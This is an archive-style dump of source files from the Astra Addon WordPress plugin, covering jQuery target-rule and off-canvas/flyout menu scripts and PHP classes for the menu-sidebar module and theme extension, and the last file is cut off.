add_exclude_block = display_on.find('.target_rule-add-exclusion-rule'); var exclude_conditions = exclude_on.find('.astra-target-rule-condition'); if ( true == force_hide ) { exclude_field_wrap.addClass( 'ast-hidden' ); add_exclude_block.removeClass( 'ast-hidden' ); }else if( true == force_show ){ exclude_field_wrap.removeClass( 'ast-hidden' ); add_exclude_block.addClass( 'ast-hidden' ); }else{ if ( 1 == exclude_conditions.length && '' == $(exclude_conditions[0]).find('select.target_rule-condition').val() ) { exclude_field_wrap.addClass( 'ast-hidden' ); add_exclude_block.removeClass( 'ast-hidden' ); }else{ exclude_field_wrap.removeClass( 'ast-hidden' ); add_exclude_block.addClass( 'ast-hidden' ); } } }; $(document).ready(function($) { jQuery( '.astra-target-rule-condition' ).each( function() { var $this = $( this ), condition = $this.find('select.target_rule-condition'), condition_val = condition.val(), specific_page = $this.next( '.target_rule-specific-page-wrap' ); if( 'specifics' == condition_val ) { specific_page.slideDown( 300 ); } } ); jQuery('select.target-rule-select2').each(function(index, el) { init_target_rule_select2( el ); }); jQuery('.ast-target-rule-selector-wrapper').each(function() { update_close_button( jQuery(this) ); }) /* Show hide exclusion button */ update_exclusion_button(); jQuery( document ).on( 'change', '.astra-target-rule-condition select.target_rule-condition' , function( e ) { var $this = jQuery(this), this_val = $this.val(), field_wrap = $this.closest('.ast-target-rule-wrapper'); if( 'specifics' == this_val ) { $this.closest( '.astra-target-rule-condition' ).next( '.target_rule-specific-page-wrap' ).slideDown( 300 ); } else { $this.closest( '.astra-target-rule-condition' ).next( '.target_rule-specific-page-wrap' ).slideUp( 300 ); } update_target_rule_input( field_wrap ); } ); jQuery( '.ast-target-rule-selector-wrapper' ).on( 'change', '.target-rule-select2', function(e) { var $this = jQuery( this ), field_wrap = $this.closest('.ast-target-rule-wrapper'); update_target_rule_input( field_wrap ); }); jQuery( '.ast-target-rule-selector-wrapper' ).on( 'click', '.target_rule-add-rule-wrap a', function(e) { e.preventDefault(); e.stopPropagation(); var $this = jQuery( this ), id = $this.attr( 'data-rule-id' ), new_id = parseInt(id) + 1, type = $this.attr( 'data-rule-type' ), rule_wrap = $this.closest('.ast-target-rule-selector-wrapper').find('.target_rule-builder-wrap'), template = wp.template( 'astra-target-rule-' + type + '-condition' ), field_wrap = $this.closest('.ast-target-rule-wrapper'); rule_wrap.append( template( { id : new_id, type : type } ) ); init_target_rule_select2( '.ast-target-rule-'+type+'-on .target-rule-select2' ); $this.attr( 'data-rule-id', new_id ); update_close_button( field_wrap ); }); jQuery( '.ast-target-rule-selector-wrapper' ).on( 'click', '.target_rule-condition-delete', function(e) { var $this = jQuery( this ), rule_condition = $this.closest('.astra-target-rule-condition'), field_wrap = $this.closest('.ast-target-rule-wrapper'); cnt = 0, data_type = field_wrap.attr( 'data-type' ), optionVal = $this.siblings('.target_rule-condition-wrap').children('.target_rule-condition').val(); if ( 'exclude' == data_type ) { if ( 1 === field_wrap.find('.target_rule-condition').length ) { field_wrap.find('.target_rule-condition').val(''); field_wrap.find('.target_rule-specific-page').val(''); field_wrap.find('.target_rule-condition').trigger('change'); update_exclusion_button( false, true ); }else{ $this.parent('.astra-target-rule-condition').next('.target_rule-specific-page-wrap').remove(); rule_condition.remove(); } } else { $this.parent('.astra-target-rule-condition').next('.target_rule-specific-page-wrap').remove(); rule_condition.remove(); } field_wrap.find('.astra-target-rule-condition').each(function(i) { var condition = jQuery( this ), old_rule_id = condition.attr('data-rule'), select_location = condition.find('.target_rule-condition'), select_specific = condition.find('.target_rule-specific-page'), location_name = select_location.attr( 'name' ); condition.attr( 'data-rule', i ); select_location.attr( 'name', location_name.replace('['+old_rule_id+']', '['+i+']') ); condition.removeClass('ast-target-rule-'+old_rule_id).addClass('ast-target-rule-'+i); cnt = i; }); field_wrap.find('.target_rule-add-rule-wrap a').attr( 'data-rule-id', cnt ) update_close_button( field_wrap ); update_target_rule_input( field_wrap ); }); jQuery( '.ast-target-rule-selector-wrapper' ).on( 'click', '.target_rule-add-exclusion-rule a', function(e) { e.preventDefault(); e.stopPropagation(); update_exclusion_button( true ); }); }); }(jQuery, window)); modules/menu-sidebar/class-astra-menu-sidebar-animation.php 0000666 00000012574 15165730730 0020067 0 ustar 00 <?php /** * Astra Common Modules Like Off Canvas Sidebar / Flyout Menu * * @package Astra Addon */ define( 'ASTRA_ADDON_EXT_MENU_SIDEBAR_DIR', ASTRA_EXT_DIR . 'classes/modules/menu-sidebar/' ); define( 'ASTRA_ADDON_EXT_MENU_SIDEBAR_URI', ASTRA_EXT_URI . 'classes/modules/menu-sidebar/' ); if ( ! class_exists( 'Astra_Menu_Sidebar_Animation' ) ) { /** * Astra_Menu_Sidebar_Animation initial setup * * @since 1.4.0 */ // @codingStandardsIgnoreStart class Astra_Menu_Sidebar_Animation { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Member Variable * * @var instance */ private static $instance; /** * Member Variable * * @var options */ public static $options; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_action( 'astra_addon_get_js_files', array( $this, 'add_scripts' ) ); add_filter( 'astra_addon_js_localize', array( $this, 'localize_variables' ) ); } /** * Add common js scripts for Flyout, Canvas Sidebar, Fullscreen menu. * * @since 1.4.0 * @return void */ public function add_scripts() { /*** Start Path Logic */ /* Define Variables */ $uri = ASTRA_ADDON_EXT_MENU_SIDEBAR_URI . 'assets/js/'; $path = ASTRA_ADDON_EXT_MENU_SIDEBAR_DIR . 'assets/js/'; /* Directory and Extension */ $file_prefix = '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = ''; $dir_name = 'unminified'; } $js_uri = $uri . $dir_name . '/'; $js_dir = $path . $dir_name . '/'; if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { $gen_path = $js_uri; } else { $gen_path = $js_dir; } /*** End Path Logic */ $canvas_trigger_type = astra_get_option( 'shop-off-canvas-trigger-type' ); $mobile_menu_style = astra_get_option( 'mobile-menu-style' ); $mobile_above_menu_style = astra_get_option( 'mobile-above-header-menu-style' ); $mobile_below_menu_style = astra_get_option( 'mobile-below-header-menu-style' ); if ( in_array( 'filters', astra_get_option( 'shop-toolbar-structure', array() ) ) || 'flyout' == $mobile_menu_style || 'fullscreen' == $mobile_menu_style || 'flyout' == $mobile_above_menu_style || 'fullscreen' == $mobile_above_menu_style || 'flyout' == $mobile_below_menu_style || 'fullscreen' == $mobile_below_menu_style ) { Astra_Minify::add_dependent_js( 'jquery' ); Astra_Minify::add_js( $gen_path . 'common-sidebar-and-menu' . $file_prefix . '.js' ); } } /** * Add Localize variables * * @since 1.4.0 * @param array $localize_vars Localize variables array. * @return array */ public function localize_variables( $localize_vars ) { $mobile_menu_style = astra_get_option( 'mobile-menu-style' ); $mobile_menu_flyout = astra_get_option( 'flyout-mobile-menu-alignment' ); $above_mobile_menu_style = astra_get_option( 'mobile-above-header-menu-style' ); $above_mobile_menu_flyout = astra_get_option( 'flyout-mobile-above-header-menu-alignment' ); $below_mobile_menu_style = astra_get_option( 'mobile-below-header-menu-style' ); $below_mobile_menu_flyout = astra_get_option( 'flyout-mobile-below-header-menu-alignment' ); // If plugin - 'WooCommerce' not exist then return. if ( class_exists( 'WooCommerce' ) ) { $canvas_trigger_type = astra_get_option( 'shop-off-canvas-trigger-type' ); $canvas_enable = false; $canvas_trigger_class = 'astra-shop-filter-button'; if ( 'shop-filter-flyout' === astra_get_option( 'shop-filter-position' ) && ( is_shop() || is_product_taxonomy() ) ) { $canvas_enable = true; } if ( 'custom-class' == $canvas_trigger_type && '' != $canvas_trigger_class ) { $canvas_trigger_class = astra_get_option( 'shop-filter-trigger-custom-class' ); } if ( in_array( 'filters', astra_get_option( 'shop-toolbar-structure', array() ) ) ) { $localize_vars['off_canvas_trigger_class'] = $canvas_trigger_class; $localize_vars['off_canvas_enable'] = $canvas_enable; } if ( 'flyout' == $mobile_menu_style ) { $localize_vars['main_menu_flyout_alignment'] = $mobile_menu_flyout; } if ( 'flyout' == $above_mobile_menu_style ) { $localize_vars['above_menu_flyout_alignment'] = $above_mobile_menu_flyout; } if ( 'flyout' == $below_mobile_menu_style ) { $localize_vars['below_menu_flyout_alignment'] = $below_mobile_menu_flyout; } } $above_header = astra_get_option( 'header-above-stick' ); $main_header = astra_get_option( 'header-main-stick' ); $below_header = astra_get_option( 'header-below-stick' ); if ( $above_header || $main_header || $below_header ) { $localize_vars['sticky_active'] = true; } else { $localize_vars['sticky_active'] = false; } $localize_vars['svgIconClose'] = Astra_Icons::get_icons( 'close' ); return $localize_vars; } } } /** * Prepare if class 'Astra_Customizer_Loader' exist. * Kicking this off by calling 'get_instance()' method */ Astra_Menu_Sidebar_Animation::get_instance(); modules/menu-sidebar/assets/js/unminified/common-sidebar-and-menu.js 0000666 00000031466 15165730730 0021620 0 ustar 00 (function($){ // Detecting if an element is in the Viewport. $.fn.isInViewport = function() { var elementTop = $(this).offset().top; var elementBottom = elementTop + $(this).outerHeight(); var viewportTop = $(window).scrollTop(); var viewportBottom = viewportTop + $(window).height(); return elementBottom > viewportTop && elementTop < viewportBottom; }; AstraMenu = { /** * Init */ init: function() { this._bind(); var body = document.querySelector('body'); body.addEventListener( 'astraMenuHashLinkClicked', function ( event ) { AstraMenu._close_fullscreen(event); AstraMenu._close_offcanvas(event); }); }, /** * Binds events */ _bind: function() { var canvasEnable = astraAddon.off_canvas_enable || ''; if ( canvasEnable ) { $(document).on( 'click', '.' + astraAddon.off_canvas_trigger_class, {class: "ast-off-canvas-overlay"}, AstraMenu._enable_offcanvas_overlay ); $(document).on( 'click touchstart', '.astra-off-canvas-sidebar-wrapper, .astra-off-canvas-sidebar-wrapper .ast-shop-filter-close',{class: "ast-off-canvas-overlay"}, AstraMenu._close_offcanvas ); } else { if( astraAddon.off_canvas_trigger_class ) { $(document).on( 'click', '.' + astraAddon.off_canvas_trigger_class, AstraMenu._enable_collapsible_slider ); } } // Flyout above header menu. $(document).on( 'click', '.ast-flyout-above-menu-enable .ast-above-header .menu-toggle', AstraMenu._open_above_offcanvas ); $(document).on( 'click touchstart', '.ast-flyout-above-menu-overlay .ast-above-header-navigation-wrap, .ast-flyout-above-menu-overlay .ast-above-header .ast-nav-close', AstraMenu._close_above_offcanvas ); // Flyout above header menu. $(document).on( 'click', '.ast-flyout-below-menu-enable .ast-below-header .menu-toggle', AstraMenu._open_below_offcanvas ); $(document).on( 'click touchstart', '.ast-flyout-below-menu-overlay .ast-below-header-navigation-wrap, .ast-flyout-below-menu-overlay .ast-below-header .ast-nav-close', AstraMenu._close_below_offcanvas ); // Full Screen Below Header menu. $(document).on( 'click', '.ast-fullscreen-below-menu-enable .ast-below-header .menu-toggle', AstraMenu._open_below_fullscreen ); $(document).on( 'click', '.ast-fullscreen-below-menu-overlay .ast-below-header .close', AstraMenu._close_below_fullscreen ); // Full Screen menu. $(document).on( 'click', '.ast-fullscreen-above-menu-enable .ast-above-header .menu-toggle', AstraMenu._open_above_fullscreen ); $(document).on( 'click', '.ast-fullscreen-above-menu-overlay .ast-above-header .close', AstraMenu._close_above_fullscreen ); // Flyout menu. $(document).on( 'click', '.ast-flyout-menu-enable .main-header-bar .menu-toggle', { class: 'ast-flyout-menu-overlay'}, AstraMenu._enable_primary_menu_overlay ); $(document).on( 'click', '.ast-flyout-menu-overlay .main-header-bar-navigation, .ast-flyout-menu-overlay .main-header-bar .ast-nav-close', { class: 'ast-flyout-menu-overlay' }, AstraMenu._close_offcanvas ); $(document).on( 'click', '.ast-flyout-menu-overlay .main-header-bar-navigation', { class: "toggled" }, AstraMenu._toggle_menu ); // Full Screen menu. $(document).on( 'click', '.ast-fullscreen-menu-enable .main-header-bar .menu-toggle', AstraMenu._open_fullscreen ); $(document).on( 'click', '.ast-fullscreen-menu-overlay .main-header-bar .close', AstraMenu._close_fullscreen ); $(document).on( 'click', '.ast-fullscreen-menu-overlay .main-header-bar .close', { class: "toggled" }, AstraMenu._toggle_menu ); $(document).on( 'ready', AstraMenu._wp_admin_bar_visible ); $(window).on( 'scroll', AstraMenu._wp_admin_bar_visible ); }, _open_above_fullscreen: function(e) { e.preventDefault(); var innerWidth = $('html').innerWidth(); $('html').css( 'overflow', 'hidden' ); var hiddenInnerWidth = $('html').innerWidth(); $('html').css( 'margin-right', hiddenInnerWidth - innerWidth ); $('html').addClass( 'ast-fullscreen-above-menu-overlay' ); if( ! $('.ast-above-header-navigation-wrap .close').length ) { $('.ast-above-header-navigation-wrap').prepend('<span class="close">' + astraAddon.svgIconClose + '</span>'); $('.ast-above-header-navigation-wrap .close').css( 'right', hiddenInnerWidth - innerWidth ); } }, _open_below_fullscreen: function(e) { e.preventDefault(); var innerWidth = $('html').innerWidth(); $('html').css( 'overflow', 'hidden' ); var hiddenInnerWidth = $('html').innerWidth(); $('html').css( 'margin-right', hiddenInnerWidth - innerWidth ); $('html').addClass( 'ast-fullscreen-below-menu-overlay' ); if( ! $('.ast-below-header-navigation-wrap .close').length ) { $('.ast-below-header-navigation-wrap').prepend('<span class="close">' + astraAddon.svgIconClose + '</span>'); $('.ast-below-header-navigation-wrap .close').css( 'right', hiddenInnerWidth - innerWidth ); } }, _open_fullscreen: function(e) { e.preventDefault(); var innerWidth = $('html').innerWidth(); $('html').css( 'overflow', 'hidden' ); var hiddenInnerWidth = $('html').innerWidth(); $('html').css( 'margin-right', hiddenInnerWidth - innerWidth ); $('html').addClass( 'ast-fullscreen-menu-overlay' ); $('html').addClass( 'ast-fullscreen-active' ); if( ! $('.main-header-bar nav .close').length ) { $('.main-header-bar nav').prepend('<span class="close">' + astraAddon.svgIconClose + '</span>'); $('.main-header-bar nav .close').css( 'right', hiddenInnerWidth - innerWidth ); } if( ! $( '.ast-primary-menu-disabled .ast-header-custom-item .close').length ) { $( ".ast-primary-menu-disabled .ast-header-custom-item .ast-merge-header-navigation-wrap" ).prepend( '<span class="close">' + astraAddon.svgIconClose + '</span>' ); } }, _enable_offcanvas_overlay: function(e) { e.preventDefault(); $(this).addClass( 'active' ); var innerWidth = $('html').innerWidth(); $('html').css( 'overflow', 'hidden' ); var hiddenInnerWidth = $('html').innerWidth(); $('html').css( 'margin-right', hiddenInnerWidth - innerWidth ); $('html').addClass( e.data.class ); // Added for accessibility issue. setTimeout(function(){ $('#cart-accessibility').focus() }, 100); const isAccordionActive = $( '.ast-filter-wrap' ); if( isAccordionActive.hasClass( 'ast-accordion-layout' ) ) { AstraMenu._accordion_initial_height(); } }, _enable_collapsible_slider: function(e) { e.preventDefault(); $(this).toggleClass( 'active' ); if( $('body').hasClass( 'ast-header-break-point' ) && ! astraAddon.off_canvas_enable && $(this).hasClass('active') ) { $('html, body').animate({ scrollTop: $(".ast-woocommerce-container").offset().top }, 500); } $('.ast-collapse-filter').slideToggle(); const isAccordionActive = $( '.ast-filter-wrap' ); if( isAccordionActive.hasClass( 'ast-accordion-layout' ) ) { AstraMenu._accordion_initial_height(); } }, _enable_primary_menu_overlay: function(e) { e.preventDefault(); if( ! $( '.main-header-bar-navigation .close' ).length ) { $( ".main-navigation" ).before( '<span class="ast-nav-close close">' + astraAddon.svgIconClose + '</span>' ); } if( ! $( '.ast-merge-header-navigation-wrap .close' ).length ) { $( ".ast-merge-header-navigation-wrap" ).append( '<span class="ast-nav-close close">' + astraAddon.svgIconClose + '</span>' ); } if( ! $( 'div.ast-masthead-custom-menu-items .close' ).length ) { $( "div.ast-masthead-custom-menu-items" ).append( '<span class="ast-nav-close close">' + astraAddon.svgIconClose + '</span>' ); } if( astraAddon.sticky_active ) { $( 'html' ).css( 'overflow', 'hidden' ); } $('html').addClass( e.data.class ); $('html').addClass( 'ast-offcanvas-active' ); }, _open_above_offcanvas: function(e) { e.preventDefault(); if( ! $( '.ast-above-header-section .close' ).length ) { $( ".ast-above-header-navigation" ).prepend( '<span class="ast-nav-close close">' + astraAddon.svgIconClose + '</span>' ); } if( astraAddon.sticky_active ) { $( 'html' ).css( 'overflow', 'hidden' ); } $('html').addClass( 'ast-flyout-above-menu-overlay' ); }, _close_above_offcanvas: function(e) { if ( e.target.parentNode.parentNode === this ) { $('html').removeClass( 'ast-flyout-above-menu-overlay' ); $( '.ast-above-header .menu-toggle' ).removeClass( 'toggled' ); $( '.ast-above-header' ).removeClass( 'toggle-on' ); if( astraAddon.sticky_active ) { $( 'html' ).css( 'overflow', '' ); } } }, _open_below_offcanvas: function(e) { e.preventDefault(); if( ! $( '.ast-below-header-actual-nav .close' ).length ) { $( ".ast-below-header-actual-nav" ).prepend( '<span class="ast-nav-close close">' + astraAddon.svgIconClose + '</span>' ); } if( astraAddon.sticky_active ) { $( 'html' ).css( 'overflow', 'hidden' ); } $('html').addClass( 'ast-flyout-below-menu-overlay' ); }, _close_below_offcanvas: function(e) { if ( e.target.parentNode.parentNode === this ) { $('html').removeClass( 'ast-flyout-below-menu-overlay' ); $( '.ast-below-header .menu-toggle' ).removeClass( 'toggled' ); $( '.ast-below-header' ).removeClass( 'toggle-on' ); if( astraAddon.sticky_active ) { $( 'html' ).css( 'overflow', '' ); } } }, _close_offcanvas: function(e) { const offCanvasWrap = $( ".astra-off-canvas-sidebar" ); const commonCondition = e.target.parentNode.parentNode === this || e.type === 'astraMenuHashLinkClicked'; const condition = offCanvasWrap.length ? commonCondition || ( ! offCanvasWrap.is(e.target) && offCanvasWrap.has(e.target).length === 0 ) : commonCondition; if ( condition ) { e.data = e.data || {}; e.data.class = e.data.class || "ast-flyout-menu-overlay ast-offcanvas-active"; $("html").css({ overflow: "", "margin-left": "", "margin-right": "" }); $("html").removeClass(e.data.class); const filterButton = $(".astra-shop-filter-button"); if( filterButton.hasClass( 'active' ) ) { filterButton.removeClass( 'active' ); } setTimeout(function() { $("html").removeClass("ast-offcanvas-active"); }, 300); } }, _close_above_fullscreen: function(e) { $('html').css({ 'overflow': '', 'margin-right': '' }); $('html').removeClass( 'ast-fullscreen-above-menu-overlay' ); $('.ast-above-header-navigation').removeClass('toggle-on').hide(); if ( $( '.ast-above-header .menu-toggle' ).hasClass( 'toggled' ) ) { $( '.ast-above-header .menu-toggle' ).removeClass( 'toggled' ); } }, _close_below_fullscreen: function(e) { $('html').css({ 'overflow': '', 'margin-right': '' }); $('html').removeClass( 'ast-fullscreen-below-menu-overlay' ); if ( $( '.ast-below-header .menu-toggle' ).hasClass( 'toggled' ) ) { $( '.ast-below-header .menu-toggle' ).removeClass( 'toggled' ); } }, _close_fullscreen: function(e) { $('html').css({ 'overflow': '', 'margin-right': '' }); $('html').removeClass( 'ast-fullscreen-menu-overlay' ); setTimeout(function(){ $('html').removeClass( 'ast-fullscreen-active' ); }, 500); $('.main-header-bar-navigation').removeClass('toggle-on').hide(); }, _toggle_menu: function(e) { if ( $( '.main-header-bar .menu-toggle' ).hasClass( e.data.class ) ) { $( '.main-header-bar .menu-toggle' ).removeClass( e.data.class ); } if ( $( 'html' ).hasClass( 'ast-fullscreen-active' ) ) { setTimeout(function(){ $('html').removeClass( 'ast-fullscreen-active' ); }, 500); } }, _toggle_above_menu: function(e) { if ( $( '.ast-above-header .menu-toggle' ).hasClass( e.data.class ) ) { $( '.ast-above-header .menu-toggle' ).removeClass( e.data.class ); } }, _wp_admin_bar_visible: function(e) { var adminBar = $("#wpadminbar"); if ( adminBar.length ) { if ( adminBar.isInViewport() ) { if ( ! $('body').hasClass('ast-admin-bar-visible') ) { $('body').addClass('ast-admin-bar-visible'); } } else{ if ( $('body').hasClass('ast-admin-bar-visible') ) { $('body').removeClass('ast-admin-bar-visible'); } } } }, _accordion_initial_height: function(e) { // Adds dynamic heights so that slide transitions become smooth. $( '.ast-filter-content' ).each( function( i, obj ) { const currentHeight = $( this ).innerHeight(); $( obj ).css( 'max-height', currentHeight + 'px' ); } ); } }; /** * Initialization */ $(function(){ AstraMenu.init(); }); })(jQuery); modules/menu-sidebar/assets/js/minified/common-sidebar-and-menu.min.js 0000666 00000022543 15165730730 0022033 0 ustar 00 !function(n){n.fn.isInViewport=function(){var e=n(this).offset().top,a=e+n(this).outerHeight(),s=n(window).scrollTop(),t=s+n(window).height();return s<a&&e<t},AstraMenu={init:function(){this._bind(),document.querySelector("body").addEventListener("astraMenuHashLinkClicked",function(e){AstraMenu._close_fullscreen(e),AstraMenu._close_offcanvas(e)})},_bind:function(){astraAddon.off_canvas_enable||""?(n(document).on("click","."+astraAddon.off_canvas_trigger_class,{class:"ast-off-canvas-overlay"},AstraMenu._enable_offcanvas_overlay),n(document).on("click touchstart",".astra-off-canvas-sidebar-wrapper, .astra-off-canvas-sidebar-wrapper .ast-shop-filter-close",{class:"ast-off-canvas-overlay"},AstraMenu._close_offcanvas)):astraAddon.off_canvas_trigger_class&&n(document).on("click","."+astraAddon.off_canvas_trigger_class,AstraMenu._enable_collapsible_slider),n(document).on("click",".ast-flyout-above-menu-enable .ast-above-header .menu-toggle",AstraMenu._open_above_offcanvas),n(document).on("click touchstart",".ast-flyout-above-menu-overlay .ast-above-header-navigation-wrap, .ast-flyout-above-menu-overlay .ast-above-header .ast-nav-close",AstraMenu._close_above_offcanvas),n(document).on("click",".ast-flyout-below-menu-enable .ast-below-header .menu-toggle",AstraMenu._open_below_offcanvas),n(document).on("click touchstart",".ast-flyout-below-menu-overlay .ast-below-header-navigation-wrap, .ast-flyout-below-menu-overlay .ast-below-header .ast-nav-close",AstraMenu._close_below_offcanvas),n(document).on("click",".ast-fullscreen-below-menu-enable .ast-below-header .menu-toggle",AstraMenu._open_below_fullscreen),n(document).on("click",".ast-fullscreen-below-menu-overlay .ast-below-header .close",AstraMenu._close_below_fullscreen),n(document).on("click",".ast-fullscreen-above-menu-enable .ast-above-header .menu-toggle",AstraMenu._open_above_fullscreen),n(document).on("click",".ast-fullscreen-above-menu-overlay .ast-above-header .close",AstraMenu._close_above_fullscreen),n(document).on("click",".ast-flyout-menu-enable .main-header-bar .menu-toggle",{class:"ast-flyout-menu-overlay"},AstraMenu._enable_primary_menu_overlay),n(document).on("click",".ast-flyout-menu-overlay .main-header-bar-navigation, .ast-flyout-menu-overlay .main-header-bar .ast-nav-close",{class:"ast-flyout-menu-overlay"},AstraMenu._close_offcanvas),n(document).on("click",".ast-flyout-menu-overlay .main-header-bar-navigation",{class:"toggled"},AstraMenu._toggle_menu),n(document).on("click",".ast-fullscreen-menu-enable .main-header-bar .menu-toggle",AstraMenu._open_fullscreen),n(document).on("click",".ast-fullscreen-menu-overlay .main-header-bar .close",AstraMenu._close_fullscreen),n(document).on("click",".ast-fullscreen-menu-overlay .main-header-bar .close",{class:"toggled"},AstraMenu._toggle_menu),n(document).on("ready",AstraMenu._wp_admin_bar_visible),n(window).on("scroll",AstraMenu._wp_admin_bar_visible)},_open_above_fullscreen:function(e){e.preventDefault();var e=n("html").innerWidth(),a=(n("html").css("overflow","hidden"),n("html").innerWidth());n("html").css("margin-right",a-e),n("html").addClass("ast-fullscreen-above-menu-overlay"),n(".ast-above-header-navigation-wrap .close").length||(n(".ast-above-header-navigation-wrap").prepend('<span class="close">'+astraAddon.svgIconClose+"</span>"),n(".ast-above-header-navigation-wrap .close").css("right",a-e))},_open_below_fullscreen:function(e){e.preventDefault();var e=n("html").innerWidth(),a=(n("html").css("overflow","hidden"),n("html").innerWidth());n("html").css("margin-right",a-e),n("html").addClass("ast-fullscreen-below-menu-overlay"),n(".ast-below-header-navigation-wrap .close").length||(n(".ast-below-header-navigation-wrap").prepend('<span class="close">'+astraAddon.svgIconClose+"</span>"),n(".ast-below-header-navigation-wrap .close").css("right",a-e))},_open_fullscreen:function(e){e.preventDefault();var e=n("html").innerWidth(),a=(n("html").css("overflow","hidden"),n("html").innerWidth());n("html").css("margin-right",a-e),n("html").addClass("ast-fullscreen-menu-overlay"),n("html").addClass("ast-fullscreen-active"),n(".main-header-bar nav .close").length||(n(".main-header-bar nav").prepend('<span class="close">'+astraAddon.svgIconClose+"</span>"),n(".main-header-bar nav .close").css("right",a-e)),n(".ast-primary-menu-disabled .ast-header-custom-item .close").length||n(".ast-primary-menu-disabled .ast-header-custom-item .ast-merge-header-navigation-wrap").prepend('<span class="close">'+astraAddon.svgIconClose+"</span>")},_enable_offcanvas_overlay:function(e){e.preventDefault(),n(this).addClass("active");var a=n("html").innerWidth(),s=(n("html").css("overflow","hidden"),n("html").innerWidth());n("html").css("margin-right",s-a),n("html").addClass(e.data.class),setTimeout(function(){n("#cart-accessibility").focus()},100);const t=n(".ast-filter-wrap");t.hasClass("ast-accordion-layout")&&AstraMenu._accordion_initial_height()},_enable_collapsible_slider:function(e){e.preventDefault(),n(this).toggleClass("active"),n("body").hasClass("ast-header-break-point")&&!astraAddon.off_canvas_enable&&n(this).hasClass("active")&&n("html, body").animate({scrollTop:n(".ast-woocommerce-container").offset().top},500),n(".ast-collapse-filter").slideToggle();const a=n(".ast-filter-wrap");a.hasClass("ast-accordion-layout")&&AstraMenu._accordion_initial_height()},_enable_primary_menu_overlay:function(e){e.preventDefault(),n(".main-header-bar-navigation .close").length||n(".main-navigation").before('<span class="ast-nav-close close">'+astraAddon.svgIconClose+"</span>"),n(".ast-merge-header-navigation-wrap .close").length||n(".ast-merge-header-navigation-wrap").append('<span class="ast-nav-close close">'+astraAddon.svgIconClose+"</span>"),n("div.ast-masthead-custom-menu-items .close").length||n("div.ast-masthead-custom-menu-items").append('<span class="ast-nav-close close">'+astraAddon.svgIconClose+"</span>"),astraAddon.sticky_active&&n("html").css("overflow","hidden"),n("html").addClass(e.data.class),n("html").addClass("ast-offcanvas-active")},_open_above_offcanvas:function(e){e.preventDefault(),n(".ast-above-header-section .close").length||n(".ast-above-header-navigation").prepend('<span class="ast-nav-close close">'+astraAddon.svgIconClose+"</span>"),astraAddon.sticky_active&&n("html").css("overflow","hidden"),n("html").addClass("ast-flyout-above-menu-overlay")},_close_above_offcanvas:function(e){e.target.parentNode.parentNode===this&&(n("html").removeClass("ast-flyout-above-menu-overlay"),n(".ast-above-header .menu-toggle").removeClass("toggled"),n(".ast-above-header").removeClass("toggle-on"),astraAddon.sticky_active&&n("html").css("overflow",""))},_open_below_offcanvas:function(e){e.preventDefault(),n(".ast-below-header-actual-nav .close").length||n(".ast-below-header-actual-nav").prepend('<span class="ast-nav-close close">'+astraAddon.svgIconClose+"</span>"),astraAddon.sticky_active&&n("html").css("overflow","hidden"),n("html").addClass("ast-flyout-below-menu-overlay")},_close_below_offcanvas:function(e){e.target.parentNode.parentNode===this&&(n("html").removeClass("ast-flyout-below-menu-overlay"),n(".ast-below-header .menu-toggle").removeClass("toggled"),n(".ast-below-header").removeClass("toggle-on"),astraAddon.sticky_active&&n("html").css("overflow",""))},_close_offcanvas:function(e){const a=n(".astra-off-canvas-sidebar");var s=e.target.parentNode.parentNode===this||"astraMenuHashLinkClicked"===e.type;if(a.length?s||!a.is(e.target)&&0===a.has(e.target).length:s){e.data=e.data||{},e.data.class=e.data.class||"ast-flyout-menu-overlay ast-offcanvas-active",n("html").css({overflow:"","margin-left":"","margin-right":""}),n("html").removeClass(e.data.class);const t=n(".astra-shop-filter-button");t.hasClass("active")&&t.removeClass("active"),setTimeout(function(){n("html").removeClass("ast-offcanvas-active")},300)}},_close_above_fullscreen:function(e){n("html").css({overflow:"","margin-right":""}),n("html").removeClass("ast-fullscreen-above-menu-overlay"),n(".ast-above-header-navigation").removeClass("toggle-on").hide(),n(".ast-above-header .menu-toggle").hasClass("toggled")&&n(".ast-above-header .menu-toggle").removeClass("toggled")},_close_below_fullscreen:function(e){n("html").css({overflow:"","margin-right":""}),n("html").removeClass("ast-fullscreen-below-menu-overlay"),n(".ast-below-header .menu-toggle").hasClass("toggled")&&n(".ast-below-header .menu-toggle").removeClass("toggled")},_close_fullscreen:function(e){n("html").css({overflow:"","margin-right":""}),n("html").removeClass("ast-fullscreen-menu-overlay"),setTimeout(function(){n("html").removeClass("ast-fullscreen-active")},500),n(".main-header-bar-navigation").removeClass("toggle-on").hide()},_toggle_menu:function(e){n(".main-header-bar .menu-toggle").hasClass(e.data.class)&&n(".main-header-bar .menu-toggle").removeClass(e.data.class),n("html").hasClass("ast-fullscreen-active")&&setTimeout(function(){n("html").removeClass("ast-fullscreen-active")},500)},_toggle_above_menu:function(e){n(".ast-above-header .menu-toggle").hasClass(e.data.class)&&n(".ast-above-header .menu-toggle").removeClass(e.data.class)},_wp_admin_bar_visible:function(e){var a=n("#wpadminbar");a.length&&(a.isInViewport()?n("body").hasClass("ast-admin-bar-visible")||n("body").addClass("ast-admin-bar-visible"):n("body").hasClass("ast-admin-bar-visible")&&n("body").removeClass("ast-admin-bar-visible"))},_accordion_initial_height:function(e){n(".ast-filter-content").each(function(e,a){var s=n(this).innerHeight();n(a).css("max-height",s+"px")})}},n(function(){AstraMenu.init()})}(jQuery); astra-theme-compatibility-functions.php 0000666 00000001023 15165730730 0014353 0 ustar 00 <?php /** * Astra Theme Extension * * @package Astra Addon */ if ( ! function_exists( 'astra_get_theme_name' ) ) : /** * Get theme name. * * @return string Theme Name. */ function astra_get_theme_name() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $theme_name = __( 'Astra', 'astra-addon' ); return apply_filters( 'astra_theme_name', $theme_name ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } endif; class-astra-theme-extension.php 0000666 00000073217 15165730730 0012631 0 ustar 00 <?php /** * Astra Theme Extension * * @package Astra Addon */ if ( ! class_exists( 'Astra_Theme_Extension' ) ) { /** * Astra_Theme_Extension initial setup * * @since 1.0.0 */ // @codingStandardsIgnoreStart class Astra_Theme_Extension { // @codingStandardsIgnoreEnd /** * Member Variable * * @var 